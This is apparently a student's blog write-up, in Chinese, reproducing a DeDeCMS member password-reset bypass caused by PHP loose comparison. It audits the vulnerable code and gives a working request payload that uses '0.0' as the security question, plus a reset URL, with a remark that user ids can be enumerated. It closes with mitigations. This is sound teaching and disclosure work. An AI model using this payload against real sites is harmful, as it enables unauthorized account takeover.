写在前面
学了这么久了回过头来一看,这居然是我自己复现的第一个漏洞,哪怕是之前打 hvv 的时候都是百度到了就用,没有进行深入的研究,刚好这回网络渗透测试课安排了复现漏洞的任务,所以水一篇博客记录一下,以后有时间了也得搭环境复现一下其他的洞
漏洞简介
在用户密码重置功能处,php 代码存在==弱类型比较==,如果用户没有设置密保问题,可以直接绕过验证密保问题,直接修改密码==(管理员账户默认不设置密保问题)==。值得注意的是修改的密码是member表中的密码,即使修改了管理员密码也是member表中的管理员密码,仍是无法进入管理
一个水平越权漏洞
php 弱类型比较问题很常见,在不同类型比较时,如果使用的是
==
,php 会将其中一个数据进行强制转换为另一个,比如’123a’
就会被强制转换成123
。这样就出现了弱类型比较问题,当然如果使用===
判断比较就不会出现问题了。常见比较如下'' == 0 == false '123' == 123 //'123'强制转换为123 'abc' == 0 //intval('abc')==0 '123a' == 123 //intval('123a')==123 '0x01' == 1 //被识别为十六进制 '0e123456789' == '0e987654321' //被识别为科学计数法 [false] == [0] == [NULL] == [''] NULL == false == 0 true == 1
代码审计
DeDeCMS 的 /member/resetpassword.php 用来处理用户密码重置的问题,漏洞点在 75 行开始处理验证密保问题处
else if($dopost == "safequestion")
{
$mid = preg_replace("#[^0-9]#", "", $id);
$sql = "SELECT safequestion,safeanswer,userid,email FROM #@__member WHERE mid = '$mid'";
$row = $db->GetOne($sql);
if(empty($safequestion)) $safequestion = '';
if(empty($safeanswer)) $safeanswer = '';
if($row['safequestion'] == $safequestion && $row['safeanswer'] == $safeanswer)
{
sn($mid, $row['userid'], $row['email'], 'N');
exit();
}
else
{
ShowMsg("对不起,您的安全问题或答案回答错误","-1");
exit();
}
}
代码先从数据库中提取相关用户的密保问题和密保答案,对用户的输入做了处理以后进行匹配
if($row['safequestion'] == $safequestion && $row['safeanswer'] == $safeanswer)
就是漏洞点,这里用了弱类型比较
如果没有设置密保,safequestion
从数据库中取出默认为 `0`,safeanswer
默认为空,根据 empty
函数特性,`0`会被判定为空,会重新将$safequestion
赋值为''
,因为 ''
!= `0`,想要绕过empty
函数就要输入一个不使其判定为空,且弱类型等于 `0`的字符串, '00'、'000'、'0.0' 这些都可以
因为safeanswer
本来就是空,所以不输入密保问题答案然后被判定为空也没关系
接着追踪sn
函数
function sn($mid,$userid,$mailto, $send = 'Y')
{
global $db;
$tptim= (60*10);
$dtime = time();
$sql = "SELECT * FROM #@__pwd_tmp WHERE mid = '$mid'";
$row = $db->GetOne($sql);
if(!is_array($row))
{
//发送新邮件;
newmail($mid,$userid,$mailto,'INSERT',$send);
}
//10分钟后可以再次发送新验证码;
elseif($dtime - $tptim > $row['mailtime'])
{
newmail($mid,$userid,$mailto,'UPDATE',$send);
}
//重新发送新的验证码确认邮件;
else
{
return ShowMsg('对不起,请10分钟后再重新申请', 'login.php');
}
}
追踪newmail
函数
function newmail($mid, $userid, $mailto, $type, $send)
{
global $db,$cfg_adminemail,$cfg_webname,$cfg_basehost,$cfg_memberurl;
$mailtime = time();
$randval = random(8);
$mailtitle = $cfg_webname.":密码修改";
$mailto = $mailto;
$headers = "From: ".$cfg_adminemail."\r\nReply-To: $cfg_adminemail";
$mailbody = "亲爱的".$userid.":\r\n您好!感谢您使用".$cfg_webname."网。\r\n".$cfg_webname."应您的要求,重新设置密码:(注:如果您没有提出申请,请检查您的信息是否泄漏。)\r\n本次临时登陆密码为:".$randval." 请于三天内登陆下面网址确认修改。\r\n".$cfg_basehost.$cfg_memberurl."/resetpassword.php?dopost=getpasswd&id=".$mid;
if($type == 'INSERT')
{
$key = md5($randval);
$sql = "INSERT INTO `#@__pwd_tmp` (`mid` ,`membername` ,`pwd` ,`mailtime`)VALUES ('$mid', '$userid', '$key', '$mailtime');";
if($db->ExecuteNoneQuery($sql))
{
if($send == 'Y')
{
sendmail($mailto,$mailtitle,$mailbody,$headers);
return ShowMsg('EMAIL修改验证码已经发送到原来的邮箱请查收', 'login.php','','5000');
} else if ($send == 'N')
{
return ShowMsg('稍后跳转到修改页', $cfg_basehost.$cfg_memberurl."/resetpassword.php?dopost=getpasswd&id=".$mid."&key=".$randval);
}
}
else
{
return ShowMsg('对不起修改失败,请联系管理员', 'login.php');
}
}
elseif($type == 'UPDATE')
{
$key = md5($randval);
$sql = "UPDATE `#@__pwd_tmp` SET `pwd` = '$key',mailtime = '$mailtime' WHERE `mid` ='$mid';";
if($db->ExecuteNoneQuery($sql))
{
if($send == 'Y')
{
sendmail($mailto,$mailtitle,$mailbody,$headers);
ShowMsg('EMAIL修改验证码已经发送到原来的邮箱请查收', 'login.php');
}
elseif($send == 'N')
{
return ShowMsg('稍后跳转到修改页', $cfg_basehost.$cfg_memberurl."/resetpassword.php?dopost=getpasswd&id=".$mid."&key=".$randval);
}
}
else
{
ShowMsg('对不起修改失败,请与管理员联系', 'login.php');
}
}
}
在sn
函数中将 send 参数设置了 ’N’ ,其实就是生成了暂时密码并插入了数据库中,并进行跳转
else if ($send == 'N')
{
return ShowMsg('稍后跳转到修改页', $cfg_basehost.$cfg_memberurl."/resetpassword.php?dopost=getpasswd&id=".$mid."&key=".$randval);
}
复现
- 环境是phpstudy php版本:5.69 mysql版本:5.7.26
- 需要开启会员模块
- 需要两个会员账号,不设置安全问题
安装完成
填写信息并抓包,修改 id 为想要重置密码的对象,再加上以上分析内容,发包即可得到修改密码 url
payload:
dopost=safequestion&safequestion=0.0&safeanswer=&id=1&vdcode=gwgp
url:
http://dedecms/member/resetpassword.php?dopost=getpasswd&id=1&key=x52xXQ8H
id 为数据库中的键值,可以遍历来修改指定用户,默认 id=1 是管理员
访问返回包里的 url ,攻击成功
解决方案
- 修改 /member/resetpassword.php 里面漏洞位置的判断条件为
===
强等于 - 关闭会员注册模块,安装官方补丁或者升级CMS
开发祭天- 采用 session方案,即使有弱类型比较、没设置安全问题,也不可能出现越权问题